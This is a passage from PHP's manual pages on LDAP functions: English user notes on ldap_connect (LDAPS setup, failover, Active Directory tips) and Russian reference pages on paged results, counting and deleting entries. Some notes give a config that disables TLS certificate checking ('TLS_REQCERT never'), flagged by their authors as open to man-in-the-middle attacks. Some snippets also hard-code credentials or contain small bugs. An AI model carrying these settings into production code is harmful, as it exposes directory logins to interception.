The ldap or openssl config file is not needed if the environment variables are set in the code. Also the ca path does not like double quotations around the path.

*** code sample:

 <?php
$ldapuser = "domain\\user";
$ldappass = "Passsword";
$ldapserver = "ldaps://server.domain.com";

//options are require, never, allow
//require is most secure, the others could allow for man in the middle attacks
putenv('LDAPTLS_REQCERT=require');

//tell ldap where the root ca certificate is
//note that the space is allowed in the path without escape or quotes
//I have not tested the permissions, but I would assume the service should have read.
putenv('LDAPTLS_CACERT=C:\\Program Files\\php\\certs\\rootca.pem');

//test to ensure the certificate is able to be read and path is right.
echo file_get_contents("LDAPTLS_CACERT=C:\\Program Files\\php\\certs\\rootca.pem");

// Set debugging
ldap_set_option(NULL, LDAP_OPT_DEBUG_LEVEL, 7);

// connect to ldap server
$ldapconn = ldap_connect($ldapserver) or die ("Couldn't connect");

// binding to ldap server
$ldapbind = false;
$ldapbind = ldap_bind($ldapconn, $ldapuser, $ldappass);

//easy view of success or failure
if ($ldapbind) {
    print("\n logged in! \n\n");
} else {
    print("\n log on failure \n\n");
}
?>
titanrat at bk dot ru 28-Dec-2016 12:02
I found some difference between php7.0 and php5.5 on this function

Php5 ldap_connect ('host', 0) try to connect default port - host:389
Php7 ldap_connect ('host', 0) try to connect host:0 and crashes.
antoine dot php dot net at bonnefoy dot eu 23-Nov-2015 10:30
Hello,

Little corrections to nemanja  post.
- There was a warning if connection is denied by firewall (adding @ before fsockopen)
- fclose parameter was incorrect.

With this approach, you get a real nice failover functionality, take for an example a company with a dozen of DC-a distributed along distant places, this way your PHP program will always have high availability if at least one DC is active at present.
<?php
function serviceping($_host, $_port = 389, $_timeout = 1) {
    $op = @fsockopen($_host, $_port, $errno, $errstr, $_timeout);
    if (!$op) {
        echo "KO!";
        return 0;

    } //DC is N/A
    else {
        fclose($op); //explicitly close open socket connection
        return 1; //DC is up & running, we can safely connect with ldap_connect
    }
}

function ldap_connect_failover($_domain) {
// ##### STATIC DC LIST, if your DNS round robin is not setup
//$dclist = array('10.111.222.111', '10.111.222.100', '10.111.222.200');
// ##### DYNAMIC DC LIST, reverse DNS lookup sorted by round-robin result
    $dclist = gethostbynamel($_domain);

    foreach ($dclist as $dc) {
        if (serviceping($dc) == true) {
            break;
        } else {
            $dc = 0;
        }
    }
//after this loop, either there will be at least one DC which is available at present, or $dc would return bool false while the next line stops program from further execution

    if (!$dc) {
        return false;
    } //user being notified

    return ldap_connect($dc);
}
?>
Nixahnung 22-Jul-2015 03:13
I have spent a lot of time to make an LDAPS connection to a MS AD Global Catalog port 3269

My five Cents:

ldap_connect("ldaps://example.com", 3269)
=> Connection to 636.... :(, DC only

ldap_connect("ldaps://example.com:3269")
=> Connection to 3269.... :), GC as expected

May it helps...
lee at lareck70 dot net 08-Jul-2015 06:20
To use LDAPS on Windows whitout "c:\openldap\sysconf\ldap.conf":
Generate a file like ldap.conf, name it "ldaprc".
For PHP script running on command line put the file to the script.
For PHP script running on webserver put the file in home directory of PHP.
mwilmes at avc dot edu 18-May-2015 05:26
I support a LAMP stack with PHP-FPM on CentOS 7 that needs to connect to Active Directory over SSL.  We have a root certificate for the domain.  I was able to set this up in five steps.

1. Get the domain's root SSL certificate in base64. (Must be an Enterprise Administrator - talk with your admin if you are not one.)
Run mmc.exe
File -> Add/Remove Snap-in
Select Certification Authority, then the server that generates certificates for your domain.
Expand the tree until you find the entry for the root certificate, then right click->Properties.
Click the "View Certificate" button, The "Details" tab, then the "Copy to File..." button.
Use the wizard to export the root certificate to your computer. Ensure you use the Base-64 format.

2. Copy the root cert to the Linux server.  You can open the certificate in notepad and copy and paste the contents.

3. Convert the certificate to pem format.  Substitute the names of files as needed.
openssl x509 -in <copied certificate file> -out /etc/openldap/certs/<cert>.pem

4. Add a line in ldap.conf to use new root cert.
vi /etc/openldap/ldap.conf
TLS_CACERT      /etc/openldap/certs/<cert>.pem

5.Restart the PHP service.
systemctl restart php-fpm.service
harrison at glsan dot com 10-Mar-2015 06:07
To override the ssl ca file can be done by setting an environmental variable within php.

I found using saving the ca certificate (and intermediate ca's) to a file called ca.pem and then adding

putenv('LDAPTLS_CACERT=./ca.pem');

before ldap_connect works for me.
Code example:
<?php
putenv('LDAPTLS_CACERT=./ca.pem');
ldap_set_option(NULL, LDAP_OPT_DEBUG_LEVEL, 7);
$l = ldap_connect("ldaps://ldap/");
ldap_set_option($l, LDAP_OPT_PROTOCOL_VERSION, 3);
ldap_bind($l, "cn=apache,dc=example", "xxxxxxx");
echo(ldap_error($l)."\n");
$s = ldap_search($l, "dc=example", "uid=test");
echo(ldap_count_entries($l, $s)."\n");
?>
in the file  ca.pem in the same directory we have our ca's:
-----BEGIN CERTIFICATE-----
<cert here>
-----END CERTIFICATE-----
TheThinkingMan 18-Jan-2015 10:52
I have spent hours and hours trying to get an LDAPS connection happening with my local AD LDS instance (running on Windows 8.1 64bit).

I tried certificate after certificate. OpenSSL, Thawte and Self-signed - all with no success.

I ended up deleting all of my certificates and created a Self-signed certificate using IIS 7 (running on Windows 8.1).

I then downloaded the Softerra LDAP browser and it was able to connect to my AD LDS instance via SSL with no problems.

Sure if it could PHP could.

I used the following code to connect:
<?php
$ldap_server = "ldaps://delllappy:636";
$ldap_conn = ldap_connect($ldap_server)  or die("Failed to connect to LDAP server.");
?>
I added the following above the ldap_connect:
<?php
putenv('LDAPTLS_REQCERT=allow');
putenv("LDAPCONF=C:\OpenLDAP\sysconf\ldap.conf");
?>

That did nothing.

The ldap_bind command I used was:
<?php
if (!ldap_bind($ldap_conn, $ldap_user, $ldap_pass)) {
    echo "error";
}else{
    echo "success";
}
?>
BTW: I added a heap of debug in the code too - which is referenced elsewhere - so I didn't add it in here.

The error that I kept on getting was:
Error Binding to LDAP: error:14090086:SSL routines:SSL3_GET_SERVER_CERTIFICATE:certificate verify failed

I then ran ProcMon (Process Monitor from Microsoft).

I monitored when I restarted my web server (Z-WAMP). At that point there was no attempt to read ldap.conf.

I then loaded up my web page with my test.php file.

At that point I noticed that it was ldap.conf that was being read but openldap.conf.

Of course as my file was called ldap.conf, openldap.conf failed. I renamed my ldap.conf to openldap.conf and everything worked.

On Z-WAMP running OpenLDAP don't used ldap.conf, use openldap.conf.

The openldap.conf file was placed in C:\openldap\sysconf\.

As the PUTENV values did not do anything, I removed them.
nemanja at prolux-universal dot com 04-Sep-2014 11:00
If you don't want your PHP program to wait XXX seconds before giving up in a case when one of your corporate DC have failed, and since ldap_connect() does not have a mechanism to timeout on a user specified time, this is my workaround which shows excellent practical results.

===========================================================
function serviceping($host, $port=389, $timeout=1)
{
        $op = fsockopen($host, $port, $errno, $errstr, $timeout);
        if (!$op) return 0; //DC is N/A
    else {
    fclose($opanak); //explicitly close open socket connection
    return 1; //DC is up & running, we can safely connect with ldap_connect
    }
}

// ##### STATIC DC LIST, if your DNS round robin is not setup
//$dclist = array('10.111.222.111', '10.111.222.100', '10.111.222.200');

// ##### DYNAMIC DC LIST, reverse DNS lookup sorted by round-robin result
$dclist = gethostbynamel('domain.name');

foreach ($dclist as $k => $dc) if (serviceping($dc) == true) break; else $dc = 0;
//after this loop, either there will be at least one DC which is available at present, or $dc would return bool false while the next line stops program from further execution

if (!$dc) exit("NO DOMAIN CONTROLLERS AVAILABLE AT PRESENT, PLEASE TRY AGAIN LATER!"); //user being notified

//now, ldap_connect would certainly connect succesfully to DC tested previously and no timeout will occur
$ldapconn = ldap_connect($dc) or die("DC N/A, PLEASE TRY AGAIN LATER.");
===========================================================

Also with this approach, you get a real nice failover functionality, take for an example a company with a dozen of DC-a distributed along distant places, this way your PHP program will always have high availability if at least one DC is active at present.
ac dot russell at live dot com 24-Aug-2012 06:47
In order to connect to an ldap server via ssl I needed to use a certificate. For this to work the ldap admin sent me a .der file which I put into /etc/openldap/cacerts.
    cp ldap-server.der /etc/openldap/cacerts
That directory must be chmod 755. Then the following entries had to be in /etc/openldap/ldap.conf

    # Make the connection vulnerable to MITM-Attacks
    # by not checking any certificates
    # For a better solution see https://andreas.heigl.org/2020/01/31/handle-self-signed-certificates-with-phps-ldap-extension/
    TLS_REQCERT   never
    TLS_CACERTDIR /etc/openldap/cacerts
"TLS_REQCERT never" should only be required if there is a self-signed certificate in the certificate chain.
verikono 11-Apr-2011 01:33
PHP:LDAP does not support persistent connections.
miki at qex dot cz 10-Mar-2010 04:51
I had terrible problems with "Unable to bind to server: Invalid credentials" error - everything seemed to be OK (login/pwd used in other apps).
Solved by adding domain to login (instead "username" I used "username@example.com").
mharting at micahtek dot com 02-Sep-2009 01:35
An addition to trying to setup failover. After doing the ldap_connect, do the ldap_bind.  If ldap_bind fails, use the command ldap_errno to get the error number.  If the error number is 81, that represents the server is down.  That is the only time we do a failover to our backup ldap server.

Another thing to consider is the error could be 49, then do
ldap_get_option($this->ds,LDAP_OPT_ERROR_NUMBER,$optErrorNumber);. This will return extended data and if the data code in that is 532 or 773, the bind failure will be caused by the password being expired and requiring a password update before the bind will succeed.
csnyder at fcny dot org 15-Apr-2009 09:35
It bears repeating (and the examples should probably be updated) that ldap_connect() doesn't actually test the connection to the specified ldap server. This is important if you're trying to build failover into your ldap-based authentication routine.

The only way to test the connection is to actually call ldap_bind( $ds, $username, $password ). But if that fails, is it because you have the wrong username/password or is it because the connection is down? As far as I can see there isn't any way to tell.

It seems that if ldap_bind() fails against your primary server, you have no choice but to try ldap_bind() with the same credentials against the backup. And yet, if your organization limits failed login attempts, a single bad password counts as two failed login attempts. Not good.

One possible workaround is to try an anonymous bind first:

<?php
// connect to primary
$ds = ldap_connect( 'ldap://10.0.0.7/' );
// note: $ds is always a resource even if primary is down

// try anonymous login to test connection
$anon = @ldap_bind( $ds );
if ( !$anon ) {
    // test failed, connect to failover host
    $ds = ldap_connect( 'ldap://10.0.0.8/' );
}
else {
    // test passed, unbind anonymous and reconnect to primary
    ldap_unbind( $ds );
    $ds = ldap_connect( 'ldap://10.0.0.7/' );
}

// now try a real login
$login = @ldap_bind( $ds, $username, $password );
?>

Note that this workaround relies on anonymous login being enabled, which may not always be the case. It's a little sad that there is no other way to test the connection. Hopefully this can be remedied in some future implementation of ldap_connect().
peter dot burden at gmail dot com 27-Jan-2009 04:40
The host name parameter can be a space separated list of host names. This means that the LDAP code will talk to a backup server if the main server is not operational. There will be a delay while the code times out trying to talk to the main server but things will still work. This is particularly useful with a typical Microsoft Active Directory setup of primary and backup domain controllers.
<?php
$ldaphost = "192.168.0.100 192.168.0.101";
$ldapconn = ldap_connect($ldaphost);
?>
geigers at binghamton dot edu 01-May-2008 01:04
If you have oci8 and are trying to use openldap for ldap you *may* run into a problem.  I have an Oracle database that I connect to from apache.  Oracle also has ldap libs which were taking precedence over the openldap libs.  This would cause a seg fault when calling ldap_connect with a uri style connect string; e.g. ldap_connect("ldaps://myldapserver.host");

After using gdb to debug a core dump and a lot of googling I found that the solution was to add an env-var to apachectl startup.

I am using Apache 2.2.8 with PHP 5.2.5 on RHEL.  I added:

LD_PRELOAD=/path/to/libldap.so
export LD_PRELOAD

in /usr/sbin/envvars which is read when apachectl starts.  You can read more on this here: http://www.mail-archive.com/php-bugs@lists.php.net/msg02201.html

Scott Geiger
bleathem at gmail dot com 27-Feb-2008 02:30
Everyone is posting about getting ldaps:// working in a WAMP/AD stack, I had a tough time finding how to get it going in RHEL 5.1 (w/ all stock rpms).  Good old strace did the trick and helped me find the problem...

Turns out php was looking for the CA file in /etc/pki/CA, and I didn't have the correct permissions on the folder.  chmod'ing it to 755 solved my "Can't contact LDAP server" message.
andreas dot a dot sandberg at gmail dot com 05-Jun-2007 05:28
Be careful when using ldap_connect with the sun client libraries that come bundled with solaris.   When specifyng the host with the ldap protocol, my connection failed and it took me a good day to trouble shoot.  ie. ldap_connect("ldap://somwhere.com");  Just remove the 'ldap://' and specify the host.   This was on Solaris 10 sparc.
vandervoord at planet dot nl 05-May-2007 06:22
The previous note concerning searching the whole AD tree works fully. Though you must be sure that the server you're authenticating/searching is a Global Catalog server. If not, connecting and binding will fail. Usually there is at least one Global Catalog server in your domain, so if the connect fails try another server it will work. The reason it works is that the Global Catalog server searches the whole domain as where the domain catalog only searches a given OU, offcourse this opposes a security threat as well :)...
allie at lsu dot edu 06-Mar-2007 02:23
I sure do wish there was some way I could get this information out to all programmers in the world about binding and searching MS AD.  This is the second time I was bit by the "I need to search the entire tree" problem.

For php (and apache auth_ldap ) you need to specify port 3268 when you want to search the entire tree.  Otherwise it will spit out the partial results error.

ldap_connect($server,3268);

I'm just fortunate enough to have won this same battle with apache searching the whole directory.  When I noticed our php application failing auth's for users, I was immediately able to fix the problem by adding this port specification (and the ldap_set_option($ldapserver, LDAP_OPT_REFERRALS, 0)  option).

I really hope this helps someone else before they pull all their hair out.  I know I miss mine.
elsint at yahoo dot com 21-Sep-2006 01:48
Be careful about the certificate's permission if you are using Windows.

Set certificates' permissions for everyone to Read and Read&Execute or you may get binding errors because of this.
baroque at citromail dot hu 05-Nov-2005 01:20
This code sample shows how to connect and bind to eDirectory in PHP using LDAP for Netware.

<?php

$server='137.65.138.159';
$admin='cn=admin,o=novell';
$passwd='novell';

$ds=ldap_connect($server);  // assuming the LDAP server is on this host

if ($ds) {
    // bind with appropriate dn to give update access
    $r=ldap_bind($ds, $admin, $passwd);
    if(!$r) die("ldap_bind failed<br>");

    echo "ldap_bind success";
    ldap_close($ds);
} else {
    echo "Unable to connect to LDAP server";
}
?>
Srivathsa M 23-Jun-2005 03:28
Using LDAP over SSL on NetWare:

1. Copy the server certificates to sys:/php5/cert directory. This location is configurable in php.ini file.

2. Use "ldaps://" prefix for host name argument or a value of 636 for port number argument in ldap_connect call.

For more details, visit, NetWare specific PHP documentation at http://developer.novell.com/ndk/doc/php/index.html
nigelf at esp dot co dot uk 26-Apr-2005 03:58
As mentioned above, openLDAP will always return a resource, even if the server name isn't valid.

If you then bind with errors suppressed (@ldap_bind) and it fails, it's not obvious what caused the failure (ie: connection or credentials).  As the bind doesn't return a resource you can't get the last error from ldap_error etc. either.

If you display just a message about login failure to the user they may get frustrated re-typing a valid username/password when it's the connection that's at fault.
blizzards at libero dot it 28-Sep-2004 03:23
To complete questions about how to connect to a LDAP ACTIVE DIRECTORY 2000/2003 server with SASL on port 636, you can refer to prevous notes, and the following directives:

A)Create CA certificates from AD;
B)Export in .pem (DER) format;
C)Install OPENSSL,CYRUS SASL,OPENLDAP,KERBEROS 5;
D)Copy exported AD ca cert into openssl certs dir on your unix system;
E)Reash with c_reash command;
F)Get a kerberos ticket form AD for your user;
G)Compile PHP with SSL and LDAP support;
H)Test with ldapsearch -D <binddn> -W -H ldaps://ad.secure.com:636 -x

If all works right, create your php script.

Note: For writing parameters to AD you need to renew ticket each 10 hours or less (AD default lifetime ticket), for reading pourpose you can maintain expired ticket.
When querying a windows 2000/2003 AD you MUST use only SASL and not TLS (non supported).
Andrew (a.whyte at cqu.edu.au) 29-Sep-2003 12:15
To be able to make modifications to Active Directory via the LDAP connector you must bind to the LDAP service over SSL. Otherwise Active Directory provides a mostly readonly connection. You cannot add objects or modify certain properties without LDAPS, e.g. passwords can only be changed using LDAPS connections to Active Directory.

Therefore, for those wishing to securely connect to Active Directory, from a Unix host using PHP+OpenLDAP+OpenSSL I spent some time getting this going myself, and came across a few gotcha's. Hope this proves fruitfull for others like me when you couldn't find answers out there.

Make sure you compile OpenLDAP with OpenSSL support, and that you compile PHP with OpenLDAP and OpenSSL.

This provides PHP with what it needs to make use of ldaps:// connections.

Configure OpenSSL:

Extract your Root CA certificate from Active Directory, this is achived through the use of Certificate Services, a startard component of Windows 2000 Server, but may not be installed by default, (The usual Add/Remove Software method will work here). I extracted this in Base64 not DER format.

Place the extracted CAcert into the certs folder for openssl. (e.g. /usr/local/ssl/certs) and setup the hashed symlinks. This is easily done by simply running:

  /usr/local/ssl/bin/c_rehash

Once this is done you can test it is worked by running:

  /usr/local/ssl/bin/openssl verify -verbose -CApath /usr/local/ssl/certs /tmp/exported_cacert.pem

(Should return: OK).

Configure OpenLDAP:

Add the following to your ldap.conf file.
(found as /usr/local/openldap/etc/openldap/ldap.conf)

  #--begin--

  # Instruct client to NOT request a server's cert.
  #
  # WARNING: This will open up the server vor Man-in-the-middle
  # attacs and should *not* be used on production systems or outside
  # of test-scenarios!
  #
  # If you use this setting you will not need any other settings as
  # no certificate is requested and therefore will not be validated
  #
  # For a proper solution check out https://andreas.heigl.org/2020/01/31/handle-self-signed-certificates-with-phps-ldap-extension/
  TLS_REQCERT never

  # Define location of CA Cert
  TLS_CACERT /usr/local/ssl/certs/AD_CA_CERT.pem
  TLS_CACERTDIR /usr/local/ssl/certs

  #--end--

You also need to place those same settings in a file within the Apache Web user homedir called .ldaprc

  e.g.:

  cp /usr/local/openldap/etc/openldap/ldap.conf ~www/.ldaprc )

You can then test that you're able to establish a LDAPS connection to Active Directory from the OpenLDAP command tools:

  /usr/local/openldap/bin/ldapsearch -H "ldaps://adserver.ad.com"

This should return some output in extended LDIF format and will indicate no matching objects, but it proves the connection works.

The name of the server you're connecting to is important. If they server name you specify in the "ldaps://" URI does not match the name of the server in it's certificate, it will complain like so:

  ldap_bind: Can't contact LDAP server (81)
        additional info: TLS: hostname does not match CN in peer certificate

Once you've gotten the ldapsearch tool working correctly PHP should work also.

One important gotcha however is that the Web user must be able to locate it's HOME folder. You must check that Apache is providing a HOME variable set to the Web users home directory, so that php can locate the .ldaprc file and the settings contained within. This may well be different between Unix variants but it is such a simple and stupid thing if you miss it and it causes you grief. Simply use a SetEnv directive in Apache's httpd.conf:

  SetEnv HOME /usr/local/www

With all that done, you can now code up a simple connect function:

  function connect_AD()
  {
    $ldap_server = "ldaps://adserver.ad.com" ;
    $ldap_user   = "CN=web service account,OU=Service Accounts,DC=ad,DC=com" ;
    $ldap_pass   = "password" ;

    $ad = ldap_connect($ldap_server) ;
    ldap_set_option($ad, LDAP_OPT_PROTOCOL_VERSION, 3) ;
    $bound = ldap_bind($ad, $ldap_user, $ldap_pass);

    return $ad ;
  }

Optionally you can avoid the URI style server string and use something like ldap_connect("adserver.ad.com", 636) ;  But work fine with Active Directory servers.

Hope this proves usefull.
avel at noc uoa gr 24-Jul-2002 07:05
Note that hostname can be a space-separated list of LDAP host names. This is very useful for failover; if the first ldap host is down, ldap_connect will ask the second LDAP host. Of course, you _must_ have LDAP replicates before doing this. :) Read the LDAP API documentation for more information.

This can also be useful, apart from failover, for LDAP load balancing. Just use a random generator function that will return a different space-separated list every time. This is because the first host in the list is always tried first.

Be careful when doing LDAP writes; be sure to always connect to your master host when you are about to modify the database, so that the replicates will get the changes as expected.

Alexandros Vellis
24-Apr-2002 09:28
A resource ID is always returned when using URLs for the host parameter
even if the host does not exist.

"When using an URI to describe the connection, the (open)ldap library
only parses the url and checks if it's valid, _no connection_ is
established in that case."
-mfischer@php.net
http://bugs.php.net/bug.php?id=15637


Получить указатель на текущую страницу результирующего набора LDAP

  • « ldap_connect
  • ldap_control_paged_result »
  • PHP Manual
  • Функции LDAP
  • Получить указатель на текущую страницу результирующего набора LDAP

ldap_control_paged_result_response

(PHP 5 >= 5.4.0, PHP 7)

ldap_control_paged_result_response — Получить указатель на текущую страницу результирующего набора LDAP

Внимание

Функция была объявлена УСТАРЕВШЕЙ в PHP 7.4.0 и УДАЛЕНА в PHP 8.0.0. Вместо неё следует использовать параметр controls в ldap_search(). Смотрите также Управляющие объекты LDAP для получения дополнительной информации.

Описание

ldap_control_paged_result_response(
resource $link,
resource $result,
string &$cookie = ?,
int &$estimated = ?
): bool

Получить указатель на текущую страницу результирующего набора LDAP.

Список параметров

link

Ресурс LDAP, возвращаемый функцией ldap_connect().

result

cookie

Непрозрачная структура полученная с сервера.

estimated

Предполагаемое количество записей для извлечения.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | Функция была удалена.
7.4.0 | Функция объявлена устаревшей.

Смотрите также

  • ldap_control_paged_result() - Послать серверу LDAP данные для использования постраничного извлечения результата
  • » RFC2696 : Управляющий модуль LDAP для простых манипуляций постранично возвращаемым результатом

User Contributed Notes

There are no user contributed notes for this page.


Послать серверу LDAP данные для использования постраничного извлечения результата

  • « ldap_control_paged_result_response
  • ldap_count_entries »
  • PHP Manual
  • Функции LDAP
  • Послать серверу LDAP данные для использования постраничного извлечения результата

ldap_control_paged_result

(PHP 5 >= 5.4.0, PHP 7)

ldap_control_paged_result — Послать серверу LDAP данные для использования постраничного извлечения результата

Внимание

Функция была объявлена УСТАРЕВШЕЙ в PHP 7.4.0 и УДАЛЕНА в PHP 8.0.0. Вместо неё следует использовать параметр controls в ldap_search(). Смотрите также Управляющие объекты LDAP для получения дополнительной информации.

Описание

ldap_control_paged_result(
resource $link,
int $pagesize,
bool $iscritical = false,
string $cookie = ""
): bool

Разрешает работу с LDAP в постраничном режиме, путём отправки желаемых настроек (размер страницы, куки и т.д.)

Список параметров

link

Ресурс LDAP, возвращаемый функцией ldap_connect().

pagesize

Количество записей на страницу.

iscritical

Определяет, является ли постраничный режим критичным или нет. Если true и если сервер не поддерживает постраничную работу, поиск вернёт пустой результат.

cookie

Непрозрачная структура, посылаемая сервером (ldap_control_paged_result_response()).

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | Функция была удалена.
7.4.0 | Функция объявлена устаревшей.

Примеры

Пример ниже демонстрирует извлечение первой страницы результата поиска с использованием размера страницы равного одной записи.

Пример #1 Постраничная работа с LDAP

<?php
// $ds - идентификатор соединения (смотрите ldap_connect)
ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3);

$dn = 'ou=example,dc=org';
$filter = '(|(sn=Doe*)(givenname=John*))';
$justthese = array('ou', 'sn', 'givenname', 'mail');

// разрешаем постраничную работу с размером страницы равному одной записи.
ldap_control_paged_result($ds, 1);

$sr = ldap_search($ds, $dn, $filter, $justthese);

$info = ldap_get_entries($ds, $sr);

echo $info['count'] . ' записей возвращено' . PHP_EOL;

Пример ниже демонстрирует извлечение первой страницы результата поиска с использованием размера страницы равного ста записям.

Пример #2 Постраничная работа с LDAP

<?php
// $ds - идентификатор соединения (смотрите ldap_connect)
ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3);

$dn = 'ou=example,dc=org';
$filter = '(|(sn=Doe*)(givenname=John*))';
$justthese = array('ou', 'sn', 'givenname', 'mail');

// разрешаем постраничную работу с размером страницы равному ста записям.
$pageSize = 100;

$cookie = '';
do {
ldap_control_paged_result($ds, $pageSize, true, $cookie);

$result = ldap_search($ds, $dn, $filter, $justthese);
$entries = ldap_get_entries($ds, $result);

foreach ($entries as $e) {
echo $e['dn'] . PHP_EOL;
}

ldap_control_paged_result_response($ds, $result, $cookie);

} while($cookie !== null && $cookie != '');

Примечания

Замечание:

Постраничный режим появился в версии протокола LDAPv3.

Смотрите также

  • ldap_control_paged_result_response() - Получить указатель на текущую страницу результирующего набора LDAP
  • » RFC2696 : Управляющий модуль LDAP для простых манипуляций постранично возвращаемым результатом

User Contributed Notes

steven_bauman at outlook dot com 03-Jun-2016 04:58
While another note suggests resetting the control paged result by passing in `0` (zero), it actually still prevents any further queries being ran during the same request.

You actually need to set it to a large number to run further queries it seems. For example:

<?php
ldap_control_paged_result($connection, 100, true, $cookie);

// Run the search
...

// What is supposed to work (reset)
ldap_control_paged_result($connection, 0, false, $cookie);

// What actually works
ldap_control_paged_result($connection, 1000, false, $cookie);
?>

In the above method, 1000 is just a placeholder, but this seems to actually **limit** further queries to this amount of results, so if you set it to `1`, then you'll only receive **one** result for any further queries during the same request.
dublue at gmail dot com 09-Apr-2014 01:02
So how do you now sort the entire result? It appears you can't use ldap_sort as it uses the search resource which is within the loop.
Blizzz 21-Oct-2013 03:26
If you did a paged search operation and want to do any other read operation on LDAP, you need to reset it, otherwise you will experience LDAP errors (code 12, for instance).

<?php
...
ldap_control_paged_result($link, 0);
...
?>
jestertrance at hotmail dot com 06-Mar-2013 05:44
You may need to do an ldap_bind before running ldap_control_paged_result to get this to work:

$conn = ldap_connect("you_ip");
ldap_set_option($conn, LDAP_OPT_PROTOCOL_VERSION, 3);
ldap_bind("your_connection_info");
ldap_control_paged_result($conn, $pageSize, true, $cookie)

Without doing an ldap_bind, I kept getting the error "Critical extension is unavailable". I don't if this is standard knowledge, but knowing this would have saved me days of frustration.
etienne at lamaisondebarbie dot ch 30-Apr-2012 03:14
Paged results, as specified in the RFC 2696, does not allow to get over the server sizeLimit. The RFC clearly states "If the page size is greater than or equal to the sizeLimit value, the server should ignore the control as the request can be satisfied in a single page".
With OpenLDAP, you will not get more than the sizeLimit number of entries with paged results.
James 14-Apr-2012 12:56
I was able to get these functions to work successfully with Active Directory.  When I first tried it, ldap_search kept returning a Not Supported reply from the server.  I finally figured out that I needed to include

ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3);

in my code, so that AD would let me page results.  Make sure you're using a compatible protocol.

Hope this note helps someone else.


Посчитать число записей в результатах поиска

  • « ldap_control_paged_result
  • ldap_count_references »
  • PHP Manual
  • Функции LDAP
  • Посчитать число записей в результатах поиска

ldap_count_entries

(PHP 4, PHP 5, PHP 7, PHP 8)

ldap_count_entries — Посчитать число записей в результатах поиска

Описание

ldap_count_entries(LDAP\Connection $ldap, LDAP\Result $result): int

Возвращает число записей, сохранённых в результате предыдущей операции поиска.

Список параметров

ldap

Экземпляр LDAP\Connection, возвращаемый функцией ldap_connect().

result

Экземпляр LDAP\Result, возвращаемый ldap_list() или ldap_search().

Возвращаемые значения

Возвращает число записей в результате или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр ldap теперь ожидает экземпляр LDAP\Connection; ранее ожидался ресурс (resource) ldap link .
8.1.0 | Параметр result теперь ожидает экземпляр LDAP\Result; ранее ожидался ресурс (resource) ldap result.

Примеры

Пример #1 Пример использования функции ldap_count_entries()

Получение числа записей в результате.

// $ds допустимый экземпляр LDAP\Connection

$dn = 'ou=example,dc=org';
$filter = '(|(sn=Doe*)(givenname=John*))';
$justthese = array('ou', 'sn', 'givenname', 'mail');

$sr = ldap_search($ds, $dn, $filter, $justthese);

var_dump(ldap_count_entries($ds, $sr));

Результатом выполнения данного примера будет что-то подобное:

     int(1)

User Contributed Notes

martin dot keckeis1 at gmail dot com 29-Jun-2015 12:11
If your search result is larger then the directory limit, it will just show you the maximum number of return entries possible by the directory (.e.g 2000 in some ActiveDirectories)


Подсчитывает количество ссылок в результатах поиска

  • « ldap_count_entries
  • ldap_delete_ext »
  • PHP Manual
  • Функции LDAP
  • Подсчитывает количество ссылок в результатах поиска

ldap_count_references

(PHP 8)

ldap_count_references — Подсчитывает количество ссылок в результатах поиска

Описание

ldap_count_references(LDAP\Connection $ldap, LDAP\Result $result): int

Подсчитывает количество ссылок в результатах поиска.

Список параметров

ldap

Экземпляр LDAP\Connection, возвращаемый функцией ldap_connect().

result

Экземпляр LDAP\Result, возвращаемый ldap_list() или ldap_search().

Возвращаемые значения

Возвращает количество ссылок в результате поиска.

Список изменений

Версия | Описание
8.1.0 | Параметр ldap теперь ожидает экземпляр LDAP\Connection; ранее ожидался ресурс (resource) ldap link .
8.1.0 | Параметр result теперь ожидает экземпляр LDAP\Result; ранее ожидался ресурс (resource) ldap result.

Смотрите также

  • ldap_connect() - Подключиться к серверу LDAP

User Contributed Notes

There are no user contributed notes for this page.


Удалить запись из директории

  • « ldap_count_references
  • ldap_delete »
  • PHP Manual
  • Функции LDAP
  • Удалить запись из директории

ldap_delete_ext

(PHP 7 >= 7.3.0, PHP 8)

ldap_delete_ext — Удалить запись из директории

Описание

ldap_delete_ext(LDAP\Connection $ldap, string $dn, ?array $controls = null): LDAP\Result|false

Делает то же самое, что и ldap_delete(), но возвращает экземпляр LDAP\Result для разбора с помощью ldap_parse_result().

Список параметров

Смотрите ldap_delete()

Возвращаемые значения

Возвращает экземпляр LDAP\Result или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр ldap теперь ожидает экземпляр LDAP\Connection; ранее ожидался ресурс (resource) ldap link .
8.1.0 | Возвращает экземпляр LDAP\Result; ранее возвращался ресурс (resource).
8.0.0 | controls теперь допускает значение null; ранее значение по умолчанию было [].

Смотрите также

  • ldap_delete() - Удаляет запись из директории LDAP
  • ldap_parse_result() - Извлечь информацию из результата

User Contributed Notes

There are no user contributed notes for this page.


Удаляет запись из директории LDAP

  • « ldap_delete_ext
  • ldap_dn2ufn »
  • PHP Manual
  • Функции LDAP
  • Удаляет запись из директории LDAP

ldap_delete

(PHP 4, PHP 5, PHP 7, PHP 8)

ldap_delete — Удаляет запись из директории LDAP

Описание

ldap_delete(LDAP\Connection $ldap, string $dn, ?array $controls = null): bool

Удаление конкретной записи из директории LDAP.

Список параметров

ldap

Экземпляр LDAP\Connection, возвращаемый функцией ldap_connect().

dn

Уникальное имя LDAP-записи.

controls

Массив управляющих констант LDAP для отправки в запросе.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр ldap теперь ожидает экземпляр LDAP\Connection; ранее ожидался ресурс (resource) ldap link .
8.0.0 | controls теперь допускает значение null; ранее значение по умолчанию было [].
7.3.0 | Добавлена поддержка параметра controls

Смотрите также

  • ldap_delete_ext() - Удалить запись из директории
  • ldap_add() - Добавить запись в LDAP директорию

User Contributed Notes

grossman at post dot cz 23-Jan-2018 10:56
Be aware! Operation not allowed on non-leaf.
gabriel at hrz dot uni-marburg dot de 14-May-2002 08:16
Useful function to delete dn entries recursively

bool myldap_delete ( resource ds, string dn, bool recursive)

Returns TRUE on success, FALSE on failure
recursive is by default FALSE (same behaviour as ldap_delete)

function myldap_delete($ds,$dn,$recursive=false){
